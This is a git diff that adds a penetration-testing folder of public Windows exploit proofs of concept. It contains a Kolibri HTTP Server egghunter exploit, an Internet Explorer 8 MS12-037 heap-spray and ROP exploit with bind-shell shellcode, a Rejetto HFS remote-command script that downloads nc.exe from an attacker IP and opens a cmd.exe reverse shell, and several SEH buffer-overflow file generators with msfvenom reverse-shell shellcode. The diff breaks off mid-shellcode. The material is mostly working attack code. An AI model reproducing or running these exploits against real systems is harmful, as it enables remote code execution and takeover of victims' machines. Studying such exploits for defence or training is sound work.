'\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'+egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'+egghunter += '\xea\xaf\x75\xe7\xff\xe7'++stage1 = ''+stage1 += '\x41' * 463+stage1 += egghunter+stage1 += '\x41' * 20+stage1 += struct.pack('<L', 0x7c8369c0)+stage1 += '\xeb\xc4'++stage2 = ''+stage2 += 'hivehive'+stage2 += '\x90' * 32+stage2 += shellcode++try:+ print '[*] Trying to exploit the tageted Kolibri HTTP Server'+ print '[*] Target {}:{}'.format(rhost, rport)++ payload = ''+ payload += 'HEAD /{} HTTP/1.1\r\n'.format(stage1)+ payload += 'Host: {}:{}\r\n'.format(rhost, rport)+ payload += 'User-Agent: {}\r\n'.format(stage2)+ payload += 'Keep-Alive: 115\r\n'+ payload += 'Connection: keep-alive\r\n\r\n'++ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ connect = s.connect((rhost, rport))+ print '[*] Connection established'++ print '[*] Sending the exploit'+ s.send(payload)+ s.close()++ print '[*] Brrraaaaaaah! A wild shell appears\n'+ subprocess.call(['nc -lnvp 31337'], shell=True)++except socket.error:+ print '[-] Exploit failed!'diff --git a/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/fuzzer.py b/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/fuzzer.pynew file mode 100644index 0000000..cf4bf9d--- /dev/null+++ b/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/fuzzer.py@@ -0,0 +1,44 @@+#!/usr/bin/env python+import sys+import time+import socket++#----------------------------------------------------------------------------------#+# Kolibri HTTP Server 2.0 Fuzzer # #+#----------------------------------------------------------------------------------#++if len(sys.argv) < 3:+ print '[*] Kolibri HTTP Server 2.0 Fuzzer'+ print '[*] Usage: {} <ip addr> <port>'.format(sys.argv[0])+ sys.exit(1)+else:+ rhost = sys.argv[1]+ rport = int(sys.argv[2])+++buffer = ["\x41"]+counter = 100+while len(buffer) <= 30:+ buffer.append("\x41" * counter)+ counter = counter + 200++try:+ for string in buffer:+ print '[*] Fuzzing HTTP Server on port {} with: {} bytes'.format(rport, len(string))++ payload = ''+ payload += 'HEAD /{} HTTP/1.1\r\n'.format(string)+ payload += 'Host: {}:{}\r\n'.format(rhost, rport)+ payload += 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n'+ payload += 'Keep-Alive: 115\r\n'+ payload += 'Connection: keep-alive\r\n\r\n'++ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ connect = s.connect((rhost, rport))++ s.send(payload)+ s.close()+ time.sleep(0.5)++except socket.error:+ print '[-] Crash with {} bytes'.format(len(string))diff --git a/Penetration Testing/exploits/windows/http/MS12-037/README.md b/Penetration Testing/exploits/windows/http/MS12-037/README.mdnew file mode 100644index 0000000..64be154--- /dev/null+++ b/Penetration Testing/exploits/windows/http/MS12-037/README.md@@ -0,0 +1,10 @@+Microsoft Internet Explorer 8 - Fixed Col Span ID (Full ASLR + DEP + EMET 5.0 Bypass) (MS12-037)+================================================================================================++EDB-ID: 34815</br>+Author: ryujin & sickness</br>+Published: 2014-09-29</br>+CVE: CVE-2012-1876</br>+Type: Remote</br>+Platform: Windows</br>+Link: <https://www.exploit-db.com/exploits/34815/></br>diff --git a/Penetration Testing/exploits/windows/http/MS12-037/ms12-037.html b/Penetration Testing/exploits/windows/http/MS12-037/ms12-037.htmlnew file mode 100755index 0000000..48cc7ca--- /dev/null+++ b/Penetration Testing/exploits/windows/http/MS12-037/ms12-037.html@@ -0,0 +1,257 @@+<!--+** Exploit Title: Internet Explorer 8 Fixed Col Span ID full ASLR & DEP bypass+** Author: [email protected]+** Thanks to Ryujin, Dookie and mr_me :) for their help.++####################################################################++** Affected Software: Internet Explorer 8+** Vulnerability: Fixed Col Span ID+** CVE: CVE-2012-1876+** Metasploit exploit using NON-ASLR DLL: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_037_ie_colspan.rb+** Vupen Blog post: http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php+** Tested on Windows 7 (x86) - IE 8.0.7601.17514+** Old version of the exploit available at: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/24017-old.zip++####################################################################++** The exploit bypasses ASLR without the need of any NON-ASLR dll's using a leak :)+** To get it working on a different version of Windows you will require to make your own chances to the exploit :)+** Have fun :)+-->++<html>+<body>+<div id="evil"></div>+<table style="table-layout:fixed" ><col id="132" width="41" span="9" > </col></table>+<script language='javascript'>++function strtoint(str) {+ return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);+}++var free = "EEEE";+while ( free.length < 500 ) free += free;++var string1 = "AAAA";+while ( string1.length < 500 ) string1 += string1;++var string2 = "BBBB";+while ( string2.length < 500 ) string2 += string2;++var fr = new Array();+var al = new Array();+var bl = new Array();++var div_container = document.getElementById("evil");+div_container.style.cssText = "display:none";++for (var i=0; i < 500; i+=2) {+ fr[i] = free.substring(0, (0x100-6)/2);+ al[i] = string1.substring(0, (0x100-6)/2);+ bl[i] = string2.substring(0, (0x100-6)/2);+ var obj = document.createElement("button");+ div_container.appendChild(obj);+}++for (var i=200; i<500; i+=2 ) {+ fr[i] = null;+ CollectGarbage();+}++function heapspray(cbuttonlayout) {+ CollectGarbage();+ var rop = cbuttonlayout + 4161; // RET+ var rop = rop.toString(16);+ var rop1 = rop.substring(4,8);+ var rop2 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 11360; // POP EBP+ var rop = rop.toString(16);+ var rop3 = rop.substring(4,8);+ var rop4 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 111675; // XCHG EAX,ESP+ var rop = rop.toString(16);+ var rop5 = rop.substring(4,8);+ var rop6 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 12377; // POP EBX+ var rop = rop.toString(16);+ var rop7 = rop.substring(4,8);+ var rop8 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 642768; // POP EDX+ var rop = rop.toString(16);+ var rop9 = rop.substring(4,8);+ var rop10 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 12201; // POP ECX --> Changed+ var rop = rop.toString(16);+ var rop11 = rop.substring(4,8);+ var rop12 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 5504544; // Writable location+ var rop = rop.toString(16);+ var writable1 = rop.substring(4,8);+ var writable2 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 12462; // POP EDI+ var rop = rop.toString(16);+ var rop13 = rop.substring(4,8);+ var rop14 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 12043; // POP ESI --> changed+ var rop = rop.toString(16);+ var rop15 = rop.substring(4,8);+ var rop16 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 63776; // JMP EAX+ var rop = rop.toString(16);+ var jmpeax1 = rop.substring(4,8);+ var jmpeax2 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 85751; // POP EAX+ var rop = rop.toString(16);+ var rop17 = rop.substring(4,8);+ var rop18 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 4936; // VirtualProtect()+ var rop = rop.toString(16);+ var vp1 = rop.substring(4,8);+ var vp2 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]+ var rop = rop.toString(16);+ var rop19 = rop.substring(4,8);+ var rop20 = rop.substring(0,4); // } RET++ var rop = cbuttonlayout + 234657; // PUSHAD+ var rop = rop.toString(16);+ var rop21 = rop.substring(4,8);+ var rop22 = rop.substring(0,4); // } RET+++ var rop = cbuttonlayout + 408958; // PUSH ESP+ var rop = rop.toString(16);+ var rop23 = rop.substring(4,8);+ var rop24 = rop.substring(0,4); // } RET++ var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING+ shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING+ shellcode+= unescape("%u4141%u4141"); // PADDING++ shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN+ shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN+ shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN++ // Standard DEP bypass+ shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP+ shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP+ shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP+ shellcode+= unescape("%u1024%u0000"); // Size 0x00001024+ shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX+ shellcode+= unescape("%u0040%u0000"); // 0x00000040+ shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX+ shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location+ shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI+ shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET+ shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI+ shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX+ shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX+ shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()+ shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]+ shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD+ shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP+ shellcode+= unescape("%u9090%u9090"); // NOPs+ shellcode+= unescape("%u9090%u9090"); // NOPs+ shellcode+= unescape("%u9090%u9090"); // NOPs++ // Bind shellcode on 4444 :)+ // msf > generate -t js_le+ // windows/shell_bind_tcp - 342 bytes+ // http://www.metasploit.com+ // VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,+ // EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=+ // I would keep the shellcode the same size for better reliability :) also would stay away from meterpreter/reverse_tcp+ // You can also generate as follows: msfpayload windows/meterpreter/reverse_https LHOST=192.168.12.13 LPORT=443 R | msfencode -a x86 -t js_le++ shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" ++ "%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" ++ "%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" ++ "%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" ++ "%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" ++ "%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" ++ "%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" ++ "%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" ++ "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" ++ "%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" ++ "%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" ++ "%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" ++ "%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" ++ "%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" ++ "%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" ++ "%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" ++ "%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" ++ "%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" ++ "%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" ++ "%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" ++ "%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" ++ "%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" ++ "%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" ++ "%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" ++ "%u006a%uff53%u41d5");++ // Total spray should be 1000+ var padding = unescape("%u9090");+ while (padding.length < 1000)+ padding = padding + padding;+ var padding = padding.substr(0, 1000 - shellcode.length);++ shellcode+= padding;++ while (shellcode.length < 100000)+ shellcode = shellcode + shellcode;++ var onemeg = shellcode.substr(0, 64*1024/2);++ for (i=0; i<14; i++) {+ onemeg += shellcode.substr(0, 64*1024/2);+ }++ onemeg += shellcode.substr(0, (64*1024/2)-(38/2));++ var spray = new Array();++ for (i=0; i<100; i++) {+ spray[i] = onemeg.substr(0, onemeg.length);+ }+}++function leak(){+ var leak_col = document.getElementById("132");+ leak_col.width = "41";+ leak_col.span = "19";+}++function get_leak() {+ var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));+ str_addr = str_addr - 1410704;+ var hex = str_addr.toString(16);+ //alert(hex);+ setTimeout(function(){heapspray(str_addr)}, 50);+}++function trigger_overflow(){+ var evil_col = document.getElementById("132");+ evil_col.width = "1245880";+ evil_col.span = "44";+}++setTimeout(function(){leak()}, 400);+setTimeout(function(){get_leak()},450);+setTimeout(function(){trigger_overflow()}, 700);++</script>+</body>+</html>\ No newline at end of filediff --git a/Penetration Testing/exploits/windows/http/RejettoHTTPFileServer-2.3/README.md b/Penetration Testing/exploits/windows/http/RejettoHTTPFileServer-2.3/README.mdnew file mode 100644index 0000000..cf03bfc--- /dev/null+++ b/Penetration Testing/exploits/windows/http/RejettoHTTPFileServer-2.3/README.md@@ -0,0 +1,10 @@+Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution+===============================================================++EDB-ID: 39161</br>+Author: Avinash Thapa</br>+Published: 2016-01-04</br>+CVE: CVE-2014-6287</br>+Type: Remote</br>+Platform: Windows</br>+Link: <https://www.exploit-db.com/exploits/39161/></br>diff --git a/Penetration Testing/exploits/windows/http/RejettoHTTPFileServer-2.3/rejetto_hfs.py b/Penetration Testing/exploits/windows/http/RejettoHTTPFileServer-2.3/rejetto_hfs.pynew file mode 100755index 0000000..3951ec8--- /dev/null+++ b/Penetration Testing/exploits/windows/http/RejettoHTTPFileServer-2.3/rejetto_hfs.py@@ -0,0 +1,50 @@+#!/usr/bin/python+# Exploit Title: HttpFileServer 2.3.x Remote Command Execution+# Google Dork: intext:"httpfileserver 2.3"+# Date: 04-01-2016+# Remote: Yes+# Exploit Author: Avinash Kumar Thapa aka "-Acid"+# Vendor Homepage: http://rejetto.com/+# Software Link: http://sourceforge.net/projects/hfs/+# Version: 2.3.x+# Tested on: Windows Server 2008 , Windows 8, Windows 7+# CVE : CVE-2014-6287+# Description: You can use HFS (HTTP File Server) to send and receive files.+# It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.+# It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux.++#Usage : python Exploit.py <Target IP address> <Target Port Number>++#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).+# You may need to run it multiple times for success!+++import urllib2+import sys++try:+ def script_create():+ urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")++ def execute_script():+ urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")++ def nc_run():+ urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")++ ip_addr = "10.11.0.147" #local IP address+ local_port = "443" # Local Port number+ vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"+ save= "save|" + vbs+ vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"+ exe= "exec|"+vbs2+ vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port+ exe1= "exec|"+vbs3+ script_create()+ execute_script()+ nc_run()+except:+ print """[.]Something went wrong..!+ Usage is :[.] python exploit.py <Target IP address> <Target Port Number>+ Don't forgot to change the Local IP address and Port number on the script"""+diff --git a/Penetration Testing/exploits/windows/local/AIMP2AudioConverter-2.53/README.md b/Penetration Testing/exploits/windows/local/AIMP2AudioConverter-2.53/README.mdnew file mode 100644index 0000000..ea6e35b--- /dev/null+++ b/Penetration Testing/exploits/windows/local/AIMP2AudioConverter-2.53/README.md@@ -0,0 +1,17 @@+AIMP2 Audio Converter 2.53 SEH Unicode Buffer Overflow+======================================================++Author: Amonsec</br>+Published: Jun 28 2017</br>+CVE: NaN</br>+Type: Local</br>+Platform: Windows</br>++- Start the AIMPE2c.exe application+- Generate the 'rekt.pls' file+- Click on the 'Load file for playlist' button+- Start your handler in your attacking machine+- Select the 'rekt.pls' file+- Click in the 'Play' button++diff --git a/Penetration Testing/exploits/windows/local/AIMP2AudioConverter-2.53/exploit.py b/Penetration Testing/exploits/windows/local/AIMP2AudioConverter-2.53/exploit.pynew file mode 100644index 0000000..99fa6b7--- /dev/null+++ b/Penetration Testing/exploits/windows/local/AIMP2AudioConverter-2.53/exploit.py@@ -0,0 +1,87 @@+#!/usr/bin/env python++#-------------------------------------------------------------------------------#+# Exploit: AIMP2 Audio Converter 2.53 SEH Unicode Buffer Overflow #+# OS: Tested XP PRO SP3 (Professional) #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# 1bfa5e55b11542015dc5811fada84948-aimp_2.51.330.zip #+#-------------------------------------------------------------------------------#++filename = 'rekt.pls'++#------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -e x86/unicode_upper BufferRegister=EAX #+#------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ''+shellcode += 'PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1'+shellcode += 'AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB'+shellcode += 'AB30APB944JBKLJH3RKPKPKP30TIZENQ7P1TTK20NPTKB2LLTKPRLTDK42O'+shellcode += '8LO87OZNF01KOVLOL1Q3LM2NLO0GQHOLMKQI7YRKBR227TK22LPTKPJOLTK'+shellcode += '0LN1D8YS0HKQ8Q21DKPYMPM1Z3DKOYLXJCNZQ9DKP4DKM1HVNQKO6LGQ8OL'+shellcode += 'MM1WWNXYP3EJVLCCMZXOKCMNDRU9TB8DKB8O4M1ICBF4KLLPKDK28MLM1HS'+shellcode += '4KKT4KKQZ0E914NDO4QK1KQQR9PZR1KOYPQO1OPZ4KLRZK4MQMS8OCNRKPK'+shellcode += 'PS83GBSNRQO2438PL2WNFLGKO8UX8TPM1M0KPO9940TB0RHNICPBKM0KOHU'+shellcode += 'R0B0B00POP0P10PP38JJLO9OIPKOZ54WRJKUBHI0W8QNCPC8KRKP3J2I3YY'+shellcode += 'V1ZN01FR72HEIG5D431KOXUU5I03DLLKO0NKX3EJL38L0GEURPVKOIES8QS'+shellcode += '2MBDKPTIYSR7QGR7P1KF2JN2291FK2KMS6WWQ4MTOLM1M1DMOTNDLP7VKPQ'+shellcode += '4PT0P1FPV26PFR60N26PVPS0VQXRYXLOOE6KOZ5U9YPPN26PFKO00C8M857'+shellcode += 'MM30KOXUGKJPFU721FQXUV4UGM5MKOYEOLLFSLKZU0KKYP45KU7KOWN3D22'+shellcode += 'OQZM00SKOJ5AA'++#----------------------------------------------------------------------------------#+# (*) Crash to nseh 4034-bytes #+# (*) nshe = '\x41\x00\x6d\x00' #+# (*) seh = '\x0e\x00\x45\x00' pop pop ret | [aimp2.dll] #+# (*) Shellcode space = 1700 #+#----------------------------------------------------------------------------------#+# (1) Crash to SEH #+# (2) Use POP POP RET instructions (unicode compatible) #+# (3) Use harmless unicode instructions #+# (4) Align EAX register #+# (5) Jump back in our shellcode #+#----------------------------------------------------------------------------------#+# Exploit's Structure: #+# #+# (3) #+# +-----------> (4) #+# [AA...AA] [shellcode] [AA...AA] [nseh] [seh] [align] [DD...DD] #+# +---------^-----------------------^-------> + | #+# (1) | |___________| (2) | #+# |_____________________________________________| (5) #+# #+#----------------------------------------------------------------------------------#+align = ''+align += '\x58' # pop eax+align += '\x6d' # nop+align += '\x58' # pop eax+align += '\x6d' # nop+align += '\x58' # pop eax+align += '\x6d' # nop+align += '\x58' # pop eax+align += '\x6d' # nop+align += '\x05\x02\x11' # add eax, 0x11000200+align += '\x6d' # nop+align += '\x2d\x10\x11' # sub eax, 0x11001000+align += '\x6d' # nop+align += '\x50' # push eax+align += '\x6d' # nop+align += '\xc3' # retn++buffer = ''+buffer += '[playlist]\nNumberOfEntries=1\n\n'+buffer += 'File1='+buffer += '\x41' * 2242+buffer += shellcode+buffer += '\x41' * (4034 - 2242 - len(shellcode))+buffer += '\x41\x6d' # inc ecx + add byte ptr [ebp],ch+buffer += '\x0e\x45' # 0x0045000e pop pop ret | [aimp2.dll]+buffer += align # Align EAX register+buffer += '\x44' * (5000 - 4034 - 4 - len(align))+buffer += '\n'++data = open(filename, 'w')+data.write(buffer)+data.close()+print '[*] File created'+print '[*] With {} bytes'.format(len(buffer))diff --git a/Penetration Testing/exploits/windows/local/AllPlayer-5.6.2/README.md b/Penetration Testing/exploits/windows/local/AllPlayer-5.6.2/README.mdnew file mode 100644index 0000000..e6111f8--- /dev/null+++ b/Penetration Testing/exploits/windows/local/AllPlayer-5.6.2/README.md@@ -0,0 +1,15 @@+ALLPlayer 5.6.2 SEH Unicode Buffer Overflow+===========================================++Author: Amonsec</br>+Published: Jun 28 2017</br>+CVE: NaN</br>+Type: Local</br>+Platform: Windows</br>++- Start the ALLPLayer application+- Genarete the 'rekt.m3u' file+- Right click on the ALLPlayer application -> Playlist -> Add Files+- Start your handler in your attacking machine+- Double click on the 'rekt.m3u' file+diff --git a/Penetration Testing/exploits/windows/local/AllPlayer-5.6.2/exploit.py b/Penetration Testing/exploits/windows/local/AllPlayer-5.6.2/exploit.pynew file mode 100644index 0000000..324d2a5--- /dev/null+++ b/Penetration Testing/exploits/windows/local/AllPlayer-5.6.2/exploit.py@@ -0,0 +1,80 @@+#!/usr/bin/env python++#-------------------------------------------------------------------------------#+# Exploit: ALLPlayer 5.6.2 SEH Unicode Buffer Overflow #+# OS: Tested XP PRO SP3 (Professional) #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# 7c752ab803ccd3ce0caa4c7ec658e13a-ALLPlayerEN.exe #+#-------------------------------------------------------------------------------#++filename = 'rekt.m3u'++#------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -e x86/unicode_upper BufferRegister=EAX #+#------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ''+shellcode += 'PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1'+shellcode += 'AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB'+shellcode += 'AB30APB944JBKLJH3RKPKPKP30TIZENQ7P1TTK20NPTKB2LLTKPRLTDK42O'+shellcode += '8LO87OZNF01KOVLOL1Q3LM2NLO0GQHOLMKQI7YRKBR227TK22LPTKPJOLTK'+shellcode += '0LN1D8YS0HKQ8Q21DKPYMPM1Z3DKOYLXJCNZQ9DKP4DKM1HVNQKO6LGQ8OL'+shellcode += 'MM1WWNXYP3EJVLCCMZXOKCMNDRU9TB8DKB8O4M1ICBF4KLLPKDK28MLM1HS'+shellcode += '4KKT4KKQZ0E914NDO4QK1KQQR9PZR1KOYPQO1OPZ4KLRZK4MQMS8OCNRKPK'+shellcode += 'PS83GBSNRQO2438PL2WNFLGKO8UX8TPM1M0KPO9940TB0RHNICPBKM0KOHU'+shellcode += 'R0B0B00POP0P10PP38JJLO9OIPKOZ54WRJKUBHI0W8QNCPC8KRKP3J2I3YY'+shellcode += 'V1ZN01FR72HEIG5D431KOXUU5I03DLLKO0NKX3EJL38L0GEURPVKOIES8QS'+shellcode += '2MBDKPTIYSR7QGR7P1KF2JN2291FK2KMS6WWQ4MTOLM1M1DMOTNDLP7VKPQ'+shellcode += '4PT0P1FPV26PFR60N26PVPS0VQXRYXLOOE6KOZ5U9YPPN26PFKO00C8M857'+shellcode += 'MM30KOXUGKJPFU721FQXUV4UGM5MKOYEOLLFSLKZU0KKYP45KU7KOWN3D22'+shellcode += 'OQZM00SKOJ5AA'++#----------------------------------------------------------------------------------#+# (*) Crash to nseh 303-bytes #+# (*) nshe = '\x61\x00\x62\x00' popad #+# (*) seh = '\x11\x00\x4d\x00' pop pop ret | [AllPlayer.exe] #+# (*) Shellcode space = 4000 #+#----------------------------------------------------------------------------------#+# (1) Crash to SEH #+# (2) Use POP POP RET instructions (unicode compatible) #+# (3) Use popad instructions (unicode compatible) #+# (4) Align EAX register #+# (5) Jump in our shellcode #+#----------------------------------------------------------------------------------#+# Exploit's Structure: #+# #+# (3) #+# +-----------> (4) #+# [AA........AA] [nseh] [seh] [align] [bb..bb] [shellcode] [bb..bb] #+# +----------------^-------> + +--------------> #+# (1) |___________| (2) (5) #+# #+#----------------------------------------------------------------------------------#+align = ''+align += '\x55' # push ebp+align += '\x71' # nop+align += '\x58' # pop eax+align += '\x6e' # nop+align += '\x05\x02\x11' # add eax, 0x11000200+align += '\x6e' # nop+align += '\x2d\x01\x11' # sub eax, 0x11000100+align += '\x6d' # nop+align += '\x50' # push eax+align += '\x6d' # nop+align += '\xc3' # retn++buffer = ''+buffer += 'http://'+buffer += '\x41' * 303+buffer += '\x61\x62' # popad+buffer += '\x11\x4d' # 0x004d0011 pop pop ret | []+buffer += align # Align EAX register+buffer += '\x62' * 109 # Padding+buffer += shellcode+buffer += '\x62' * (5000 - 303 - 4 - 7 - len(align) - 109 - len(shellcode))++data = open(filename, 'w')+data.write(buffer)+data.close()+print '[*] File created'+print '[*] With {} bytes'.format(len(buffer))diff --git a/Penetration Testing/exploits/windows/local/AudioCoder-0.8.22/README.md b/Penetration Testing/exploits/windows/local/AudioCoder-0.8.22/README.mdnew file mode 100644index 0000000..61ad9bd--- /dev/null+++ b/Penetration Testing/exploits/windows/local/AudioCoder-0.8.22/README.md@@ -0,0 +1,13 @@+AudioCoder v0.8.22 SEH Stack Buffer Overflow+============================================++Author: Amonsec</br>+Published: Jun 19 2017</br>+CVE: NaN</br>+Type: Local</br>+Platform: Windows</br>++- Generate the 'rekt.m3u' file+- Start the AudioCoder application+- Drag and drop 'rekt.m3u' into the application+diff --git a/Penetration Testing/exploits/windows/local/AudioCoder-0.8.22/exploit.py b/Penetration Testing/exploits/windows/local/AudioCoder-0.8.22/exploit.pynew file mode 100644index 0000000..c4e1a33--- /dev/null+++ b/Penetration Testing/exploits/windows/local/AudioCoder-0.8.22/exploit.py@@ -0,0 +1,78 @@+#!/usr/bin/env python++#----------------------------------------------------------------------------------#+# Exploit: AudioCoder v0.8.22 SEH Stack Buffer Overflow #+# OS: Tested XP PRO SP3 (Professional #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# a3b972bf42615e5c34edb19b62eb3fc4-AudioCoder-0.8.22.5506.exe #+#----------------------------------------------------------------------------------#+# I wrote this exploit for educational purposes, in order to learn how to bypass #+# SEH security. #+#----------------------------------------------------------------------------------#++filename = 'rekt.m3u'++#------------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00\x0a\x0d\xff' #+#------------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ""+shellcode += "\xdb\xd4\xd9\x74\x24\xf4\x5d\xb8\x7d\xef\xf4\x16"+shellcode += "\x29\xc9\xb1\x52\x31\x45\x17\x83\xc5\x04\x03\x38"+shellcode += "\xfc\x16\xe3\x3e\xea\x55\x0c\xbe\xeb\x39\x84\x5b"+shellcode += "\xda\x79\xf2\x28\x4d\x4a\x70\x7c\x62\x21\xd4\x94"+shellcode += "\xf1\x47\xf1\x9b\xb2\xe2\x27\x92\x43\x5e\x1b\xb5"+shellcode += "\xc7\x9d\x48\x15\xf9\x6d\x9d\x54\x3e\x93\x6c\x04"+shellcode += "\x97\xdf\xc3\xb8\x9c\xaa\xdf\x33\xee\x3b\x58\xa0"+shellcode += "\xa7\x3a\x49\x77\xb3\x64\x49\x76\x10\x1d\xc0\x60"+shellcode += "\x75\x18\x9a\x1b\x4d\xd6\x1d\xcd\x9f\x17\xb1\x30"+shellcode += "\x10\xea\xcb\x75\x97\x15\xbe\x8f\xeb\xa8\xb9\x54"+shellcode += "\x91\x76\x4f\x4e\x31\xfc\xf7\xaa\xc3\xd1\x6e\x39"+shellcode += "\xcf\x9e\xe5\x65\xcc\x21\x29\x1e\xe8\xaa\xcc\xf0"+shellcode += "\x78\xe8\xea\xd4\x21\xaa\x93\x4d\x8c\x1d\xab\x8d"+shellcode += 